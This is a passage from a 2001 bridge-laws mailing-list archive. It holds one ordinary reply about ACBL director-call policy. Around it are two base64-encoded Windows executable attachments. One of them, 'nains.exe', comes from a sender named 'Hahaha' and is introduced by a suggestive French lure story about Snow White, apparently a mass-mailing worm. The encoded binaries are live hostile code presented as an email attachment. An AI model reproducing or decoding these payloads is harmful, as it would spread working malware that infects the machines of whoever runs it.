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 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAADhwAAAAAAAAMHAAAAAAAAAAAAAATHAAAABwAAAAAAAAAAAAAAAAAAAAAAAA AAAAADhwAAAAAAAAEQFHZXRNb2R1bGVIYW5kbGVBAABLRVJORUwzMi5kbGwAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA ----VEX6J4XAV85EF892VKPU745Q74XAN41Y7-- -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 6 00:10:21 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f05D7KM03642 for bridge-laws-outgoing; Sat, 6 Jan 2001 00:07:20 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from stmpy-1.cais.net (stmpy-1.cais.net [205.252.14.71]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f05D7Et03638 for ; Sat, 6 Jan 2001 00:07:15 +1100 (EST) Received: from elandau.cais.com (207-176-64-97.dup.cais.net [207.176.64.97]) by stmpy-1.cais.net (8.11.1/8.11.1) with ESMTP id f05D79S11548 for ; Fri, 5 Jan 2001 08:07:10 -0500 (EST) Message-Id: <4.3.2.7.1.20010105080551.00aea3f0@127.0.0.1> X-Sender: elandau/pop.cais.com@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 4.3.2 Date: Fri, 05 Jan 2001 08:08:21 -0500 To: Bridge Laws Discussion List From: Eric Landau Subject: Re: [BLML] Annoyingly irregular In-Reply-To: <001d01c0768f$3c3549a0$059101d5@pbncomputer> References: <200101021604.LAA17526@cfa183.harvard.edu> <00d101c07510$03f52d60$56991e18@san.rr.com> <007401c075a4$37154100$1910f7a5@oemcomputer> <002501c07624$86e92360$978101d5@pbncomputer> <001201c07686$3d3bd340$56991e18@san.rr.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii"; format=flowed Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk At 03:44 PM 1/4/01, David wrote: >If (and again, I apologise for not having followed the thread closely), >the intention of the ACBL is in fact that the Director should be >summoned as soon as the extraneous information may have been >transmitted, then the words "could have based" in the above should be >replaced by "could base". In the original, the word "resulting" should >be replaced by "which could result", but the sentence would then be so >cumbersome that even the ACBL might hesitate to publish it. I do not believe that this could possibly be the intention of the ACBL, as they do not have the budget for all the extra floor directors that such a change in policy would require. Eric Landau elandau@cais.com APL Solutions, Inc. elandau@acm.org 1107 Dale Drive (301) 589-4621 Silver Spring MD 20910-1607 Fax (301) 589-4618 -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Sat Jan 6 00:13:04 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f05DClT03663 for bridge-laws-outgoing; Sat, 6 Jan 2001 00:12:47 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from citronier.wanadoo.fr (smtp-abo-6.wanadoo.fr [193.252.19.222] (may be forged)) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f05DCbt03659 for ; Sat, 6 Jan 2001 00:12:38 +1100 (EST) Date: Sat, 6 Jan 2001 00:12:38 +1100 (EST) Received: from beauvillain (193.248.113.239) by citronier.wanadoo.fr; 5 Jan 2001 14:12:31 +0100 Message-ID: <3a55c8443a5b806d@citronier.wanadoo.fr> (added by citronier.wanadoo.fr) From: Hahaha Subject: [BLML] Les 7 coquir nains MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--VEHQZS563SPY7" Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk ----VEHQZS563SPY7 Content-Type: text/plain; charset="us-ascii" C'etait un jour avant son dix huitieme anniversaire. Les 7 nains, qui avaient aidé 'blanche neige' toutes ces années aprčs qu'elle se soit enfuit de chez sa belle mčre, lui avaient promis une *grosse* surprise. A 5 heures comme toujours, ils sont rentrés du travail. Mais cette fois ils avaient un air coquin... ----VEHQZS563SPY7 Content-Type: application/octet-stream; name="nains.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="nains.exe" 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 